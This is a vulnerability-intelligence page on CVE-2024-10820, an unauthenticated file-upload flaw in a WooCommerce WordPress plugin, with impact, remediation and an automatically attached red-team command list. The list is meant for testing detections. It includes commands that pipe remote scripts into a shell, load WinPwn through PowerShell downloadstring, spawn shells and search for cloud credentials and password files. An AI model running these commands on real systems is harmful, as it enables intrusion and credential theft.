CVE-2024-10820
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of proper file type validation in the upload_files() function of the WooCommerce Upload Files WordPress plugin. The affected component is the file upload handler within the plugin, which fails to restrict or sanitize file types before saving them on the server. This lack of validation allows malicious files to be uploaded without authentication checks or input filtering.
Vulnerability Description
The WooCommerce Upload Files plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the upload_files() function in all versions up to, and including, 84.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can upload arbitrary files, including web shells or malicious scripts, to the affected server, potentially enabling remote code execution and full system compromise. No authentication or user interaction is needed (AV:N/AC:L/PR:N/UI:N), making exploitation straightforward over the network. This can lead to data breaches, unauthorized access, and service disruption on sites using the vulnerable WooCommerce Upload Files plugin. The vulnerability’s high severity (CVSS 9.8) reflects the critical nature of these impacts.
Solution
Users should upgrade the WooCommerce Upload Files plugin to a version later than 84.3 where file type validation is implemented. Detailed patch instructions and version updates are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/b9371b37-53c5-4a4f-a500-c6d58d4d3c5a and the official plugin page on Codecanyon. There are no vendor-recommended workarounds documented; prompt updating is advised to mitigate risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the WooCommerce Upload Files plugin for WordPress arises from inadequate validation of file types during the upload process. Specifically, the flaw exists within the upload_files() function, which fails to properly restrict the types of files that can be uploaded. This oversight allows unauthenticated attackers to bypass security measures and upload arbitrary files to the server hosting the affected WordPress site. The lack of stringent checks means that attackers can potentially upload malicious scripts or executables, which could lead to remote code execution, compromising the integrity and confidentiality of the server and its data.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could craft a malicious file, such as a PHP script, and exploit the upload functionality without needing any form of authentication. Once the file is uploaded, the attacker can execute it by accessing the file's URL, leading to unauthorized access to the server. This could allow the attacker to manipulate the server environment, steal sensitive data, or even pivot to other systems within the network. Furthermore, the ease of exploitation means that even individuals with limited technical skills could potentially carry out such attacks, increasing the threat landscape significantly.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on WordPress for e-commerce operations. Successful exploitation could lead to data breaches, loss of customer trust, and significant financial repercussions. For instance, if an attacker gains access to sensitive customer information, such as payment details or personal data, the business could face legal liabilities and regulatory penalties. Additionally, the downtime and recovery efforts following an attack can result in lost revenue and damage to the brand’s reputation. The high CVSS score of 9.8 underscores the critical nature of this vulnerability, indicating that organizations must prioritize its remediation.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. Regularly updating the WooCommerce Upload Files plugin to the latest version is essential, as updates often include security patches that address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious traffic and prevent unauthorized file uploads. Organizations should also conduct regular security audits and penetration testing to identify and remediate vulnerabilities proactively. Furthermore, implementing strict file type validation and limiting file upload permissions to trusted users can significantly reduce the attack surface.
In conclusion, the vulnerability in the WooCommerce Upload Files plugin poses a significant threat to WordPress sites, particularly those involved in e-commerce. The potential for arbitrary file uploads and subsequent remote code execution highlights the importance of robust security measures in web applications. By understanding the technical details, possible exploitation scenarios, and the associated business risks, organizations can better prepare to defend against such vulnerabilities. Proactive detection and mitigation strategies are crucial in safeguarding sensitive data and maintaining the integrity of online operations.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Vanquish | Woocommerce Upload Files | All |
cpe:2.3:a:vanquish:woocommerce_upload_files:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-10820 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/b9371b37-53c5-4a4f-a500-c6d58d4d3c5a?source=cve |
| codecanyon.net |
GitHub CVE
|
https://codecanyon.net/item/woocommerce-upload-files/11442983 |